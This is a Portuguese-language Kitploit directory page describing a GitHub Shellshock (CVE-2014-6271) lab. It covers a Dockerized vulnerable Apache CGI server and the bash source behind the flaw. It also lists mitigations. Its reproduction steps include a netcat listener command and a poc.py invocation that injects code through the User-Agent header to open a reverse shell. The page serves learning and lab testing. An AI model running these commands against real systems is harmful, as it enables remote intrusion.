Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Shellshock_CVE-2014-6271 — Shellshock | Kitploit
Ferramentas/GitHubGitHub/caverm/shellshock_cve-2014-6271
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubcaverm/shellshock_cve-2014-6271

Shellshock_CVE-2014-6271

Shellshock

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Shellshock CVE-2014-6271

Shellshock

Baixe os arquivos docker-compose.yml e poc.py Certifique-se de instalar a biblioteca requests via pip install requests !!! Para quem usa uv, coloque a biblioteca requests dentro do venv usando uv!!!

Descrição Oficial da CVE
Nas versões do GNU Bash anteriores à 4.3, havia um problema no processamento de strings após definições de funções em valores de variáveis de ambiente. Usando esta vulnerabilidade, um atacante remoto poderia executar código arbitrário através de um ambiente manipulado. Esta vulnerabilidade foi encontrada na funcionalidade ForceCommand do OpenSSH sshd, nos módulos mod_cgi e mod_cgid do servidor HTTP Apache, em scripts executados por clientes DHCP não especificados, e em várias situações onde a execução do Bash e a definição de variáveis de ambiente ocorrem através de limites de privilégios diferentes. Também é conhecida como "ShellShock". Nota: A correção inicial para este problema estava incorreta, e o CVE-2014-7169 foi designado para resolver a vulnerabilidade que ainda persistia mesmo após a correção incorreta.

Configuração do Ambiente

Configuração do Dockerfile

SOservidor webversão bash
Debian 10Apach4.2.37(1)

O Dockerfile foi escrito para manter o servidor web em execução ao executar o comando docker compose up.

Como o SO, Apache, etc. do Dockerfile foram baixados de repositórios externos, foi colocado uma tag na imagem construída, enviada para o Docker Hub, e essa imagem foi especificada no arquivo docker-compose.yml para garantir que não haja problemas mesmo se a origem for deletada.

Condição de Vulnerabilidade

É necessário um shell Bash que possua a vulnerabilidade Shellshock. Eu baixei e usei a versão bash 4.2.37(1).

Além disso, como o código precisa ser registrado em uma variável de ambiente e então o bash deve ser invocado para executar o código, deve existir um programa que possa invocar o bash. Baixei o programa CGI que era usado para processar requisições dos clientes no servidor web. De acordo com a especificação CGI (RFC 3875), o servidor web é projetado para colocar todas as informações de cabeçalho enviadas pelo navegador em variáveis de ambiente do Linux para processamento.

Sob essa condição, o servidor web envia a requisição e as informações do cabeçalho são armazenadas em variáveis de ambiente (de acordo com a especificação CGI). O ataque é completado quando o CGI invoca o shell Bash que possui a vulnerabilidade de executar strings após definições de funções em variáveis de ambiente.

Requisição (enviar código embutido no cabeçalho User-Agent) -> CGI invoca bash -> Conexão reverse shell

Procedimento de Reprodução
  1. Execute o servidor web com o comando docker compose up.
  2. Abra um novo terminal e inicie a escuta com nc -lvp 4444
  3. Execute o poc.py para conectar o reverse shell.
    • uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (não precisa ser 4444; depende da porta em que você está escutando)
    • python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (para quem não usa uv, execute com o comando python3!!!)
Resultado

O terminal que estava escutando no passo 2 do procedimento de reprodução se conecta ao shell bash dentro do contêiner, permitindo executar comandos como whoami, id, etc.

Causa da Vulnerabilidade
root@kitploit:~
  '''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// 이하 생략 
'''

A causa da vulnerabilidade está na função initialize_shell_variables no arquivo variables.c do código do shell bash. Essa função é muito longa, então apenas a parte essencial foi cortada.

root@kitploit:~
'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''

O if acima verifica se os primeiros 4 caracteres são "() {" usando STREQN ("() {", string, 4). Se coincidir, é tratado como uma função. Surpreendentemente, não há filtragem adicional na string, o que causou o problema.

root@kitploit:~
'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); 

''' O código acima é o processo de combinar nome e valor. Como string foi verificada acima, ela começa com "() {" e name é o nome da variável de ambiente.

Assim, o nome e o valor da variável de ambiente são combinados e passados para o código abaixo para análise. Como o filtro só verificava "() {" acima, comandos como whoami, id, pwd podem ser adicionados após a função e serão todos executados.

root@kitploit:~
'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
 '''
Medidas de Mitigação
Atualize o Bash para uma versão segura contra a vulnerabilidade Shellshock.
Não utilize programas que invocam o shell Bash.
Baixar ferramenta